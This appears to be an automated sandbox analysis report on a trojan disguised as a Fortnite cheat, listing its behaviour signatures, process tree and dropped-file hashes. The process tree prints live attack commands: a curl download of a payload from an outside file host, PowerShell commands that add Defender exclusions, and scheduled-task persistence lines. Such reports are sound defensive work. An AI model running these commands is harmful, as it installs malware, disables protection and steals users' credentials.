Analysis

  • max time kernel
    78s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/09/2024, 01:26

General

  • Target

    fortnite-external.exe

  • Size

    392KB

  • MD5

    450270d6a68cf6364e98f16b917a84e6

  • SHA1

    3e89467c9cbc12a76ab77c50913ee45420e16ccc

  • SHA256

    30a300329684903e2ca4a937aacbfb337ab30474aadd40e473ca544e8069c52d

  • SHA512

    27c7b9c03a026ba578d6c71f6805d07a702740ce21f2e738cadb7fd2d455d6b1abf620c5b147ee018494a33376ff4e907bdf8ce0fa76f7970abe6cd03da6b4b6

  • SSDEEP

    6144:whcdTWDsDiY4ElESAtEnESbkaXOahqJiSxRODbGWrZjkmn35GYrZ8RA:fdxE7xr4kmnJ

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
  • Process spawned unexpected child process 6 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3384
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/grb4ph.bin --output C:\Windows\Speech\physmeme.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4612
      • C:\Windows\system32\curl.exe
        curl --silent https://files.catbox.moe/grb4ph.bin --output C:\Windows\Speech\physmeme.exe
        3⤵
        • Drops file in Windows directory
        PID:4584
    • C:\Windows\Speech\physmeme.exe
      "C:\Windows\Speech\physmeme.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4692
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Edge\JVechqugVQULxoCxdNxRwhT9H4AJgXiAXoRwxtptuwyob.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1460
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Edge\fu4i1MBsp.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4580
          • C:\Edge\msedge.exe
            "C:\Edge/msedge.exe"
            5⤵
            • Modifies WinLogon for persistence
            • Checks computer location settings
            • Executes dropped EXE
            • Adds Run key to start application
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1444
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z53ulwg2\z53ulwg2.cmdline"
              6⤵
              • Drops file in System32 directory
              • Suspicious use of WriteProcessMemory
              PID:400
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1EED.tmp" "c:\Windows\System32\CSC59D113EAF44D48E2978B39523CDA7A32.TMP"
                7⤵
                  PID:1728
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\System.exe'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4412
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Edge\msedge.exe'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4596
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\by0wam3S22.bat"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2960
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  7⤵
                    PID:3688
                  • C:\Windows\system32\PING.EXE
                    ping -n 10 localhost
                    7⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:1640
                  • C:\Users\Admin\AppData\Local\System.exe
                    "C:\Users\Admin\AppData\Local\System.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4452
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\AppData\Local\System.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5092
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\System.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2612
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\AppData\Local\System.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4972
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 7 /tr "'C:\Edge\msedge.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:684
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Edge\msedge.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2216
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 12 /tr "'C:\Edge\msedge.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2004

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Edge\JVechqugVQULxoCxdNxRwhT9H4AJgXiAXoRwxtptuwyob.vbe

        Filesize

        192B

        MD5

        e5437373d0605c93bc97b65a4a12d739

        SHA1

        671858874a65fd9c7d3de894ba4c590b537f0bde

        SHA256

        9440e1281d71c9d954fb0510d3eb29a1270d10eca8394744c5bd91e2e6f83307

        SHA512

        5345d25ba8cbd179fddbc1255e26e5d3f5e2161e99e4be3bfba1ece5ae317c22df8e115415e300ca5763bd993fb45aa0f5cfca0278c8a6eabb29d48548cf0d2f

      • C:\Edge\fu4i1MBsp.bat

        Filesize

        63B

        MD5

        f797a77c821b724238a50a77f0fe1aae

        SHA1

        ee9ff366bdfcba73d9ca0753670f2660baaec9f2

        SHA256

        00c0f57e5f833e74c22e63732816c59eb1f9b8cff197eea7373c32aac58d08d7

        SHA512

        04459b565bd18d707af3740f3f76050dc8d1f5cb4d335460fcc9c3658695558b9bf67e82beb25996c86ee7ba4a2705eaa4da55facc44fa1e854552cd49d8aa23

      • C:\Edge\msedge.exe

        Filesize

        1.8MB

        MD5

        9257cb2730e4744e1fd4565dec8eb3c8

        SHA1

        a9147f6de05447b78bd78b71517a650028498836

        SHA256

        2964966063f51dd2c3d381468a9d9091d8581442b9d63564af056274cb797061

        SHA512

        0b2228b607a3aa0302515312ab5f9cf86b78c44b94bba7a53507afba00d55208d1387585cd8c0714a9c66831bf99036d91fb81398d6806fd2e086d6019e67e6c

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        291B

        MD5

        0f7dbd21cc3fe3098bf1f11eb57c8318

        SHA1

        2b8074fee3f705fb016f9aef8050609cdef14919

        SHA256

        967d57aeaeef5cff01ef1c4c51126c5e74319b335a95dae5fab0ab56ad80dc04

        SHA512

        a6b7b7be67b79d8fe26dba63eec35d9f127979c21d77f7a2fa81579a7662ced49bf36f49cb5bb0c91d53dafeb955ee14505653beb4948917f0fc264ec2e7cd2b

      • C:\Users\Admin\AppData\Local\Temp\RES1EED.tmp

        Filesize

        1KB

        MD5

        b4c3af7f3f7d6a1cdc66b1836d53a04f

        SHA1

        3c3d48fed1fa08011f19ccf02f43aaee4e9b0fad

        SHA256

        ee0a82c815be2469776a7007a4fd42dfce91850504899d03664b5f04f45b0ef3

        SHA512

        9f9e46ee762071de0da6c5b1dfed94a6d801adacf3147c65f6f6fbf5a4eb86d3e30206583b1a6ac94117c5a889f00e246362d0dcdb1ab87fb3d99405b1dd275f

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cagynps2.kdu.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\by0wam3S22.bat

        Filesize

        167B

        MD5

        87ec149fbd4778c73d798b1b00564dac

        SHA1

        3b0d51c5171d09c92b0df5718eb1b171d8c2dfd8

        SHA256

        293e83433667c0847be0f297c93042bd4f9951d061babac7ccc1b0e21a3cf227

        SHA512

        b64d30afad423e5b94956e95eeed9066487b0ee57067642dae7c74abe30ee57b9830c3a59d6d416e7010dff50924531a03f971c800f8063f60903f2de6aed50c

      • C:\Windows\Speech\physmeme.exe

        Filesize

        2.1MB

        MD5

        e5f3f9c01d860a57b5dbc30b44ab4ba0

        SHA1

        4a7a9c4aba1968491fcabea3abeaa5ecf3fcb71d

        SHA256

        bd86ed3a268c8e85089ad0602b8894a6463b61569d64b92b63a4c5ab5fed5c0b

        SHA512

        e771a3370cc9706be105ccf8e732e4502845bdbd2b26d9b47ec5766497f419157e01baccd36c8e418fb25de284effcef2da6683f62ca561786c7353140e0a55f

      • \??\c:\Users\Admin\AppData\Local\Temp\z53ulwg2\z53ulwg2.0.cs

        Filesize

        371B

        MD5

        b7af5deecd65d07f607e73f0c883537a

        SHA1

        d01eaf7e234e28c8079deaba5cddb47e735e0f2d

        SHA256

        27912fbf2d345cdbfaf649f4dac762ed48ba7bd1866fb6bbf82eff50db09e6ef

        SHA512

        4b11922064da12499cc4de78776bc6cddfe7c1dd3037b8d0542aac9d803476b04c1d94df3875a262fb7d80348f2a3d807562af25d9d00e6a10de2ed22f25cbd9

      • \??\c:\Users\Admin\AppData\Local\Temp\z53ulwg2\z53ulwg2.cmdline

        Filesize

        235B

        MD5

        b2a2a3fd813690fb3f0c2463e40ef648

        SHA1

        df56e967cb0f10b3844f12813f7ceb6cb9a49796

        SHA256

        94b8a71f7f95b0dc8400d01910eabeec7c4f1cd6609984818d1e45eb1b66e68f

        SHA512

        89c3ba95a9b8308f841dc4ef15c0e2b91902514a700a5b570f34cdead92742751469d12b11d6a82a68931afed3f8fb0e4ed58b6f22151ad0b3d1c6df6eec7d95

      • \??\c:\Windows\System32\CSC59D113EAF44D48E2978B39523CDA7A32.TMP

        Filesize

        1KB

        MD5

        52518a92f331588448b74e01d4a5e1b3

        SHA1

        b892bb6afae8b3ab118acca34f5bc1ac313c8db1

        SHA256

        70a69c529c9916a04e96a2624c783f69604958fc79c7ebaa5668f0b00d80741e

        SHA512

        5c33961c848783c686257dc20adc5fc40167edb7f16ca12e1fdfb7dfa2867cc2390d3d92e4916f0bad5c31f676018dc7333072e95774e91ed275a02bce263467

      • memory/1444-15-0x0000000000E10000-0x0000000000FEA000-memory.dmp

        Filesize

        1.9MB

      • memory/1444-24-0x000000001BAF0000-0x000000001BAFC000-memory.dmp

        Filesize

        48KB

      • memory/1444-22-0x000000001BC50000-0x000000001BC68000-memory.dmp

        Filesize

        96KB

      • memory/1444-20-0x000000001BFB0000-0x000000001C000000-memory.dmp

        Filesize

        320KB

      • memory/1444-19-0x000000001BC30000-0x000000001BC4C000-memory.dmp

        Filesize

        112KB

      • memory/1444-17-0x000000001BAA0000-0x000000001BAAE000-memory.dmp

        Filesize

        56KB

      • memory/4412-54-0x0000015F33D30000-0x0000015F33D52000-memory.dmp

        Filesize

        136KB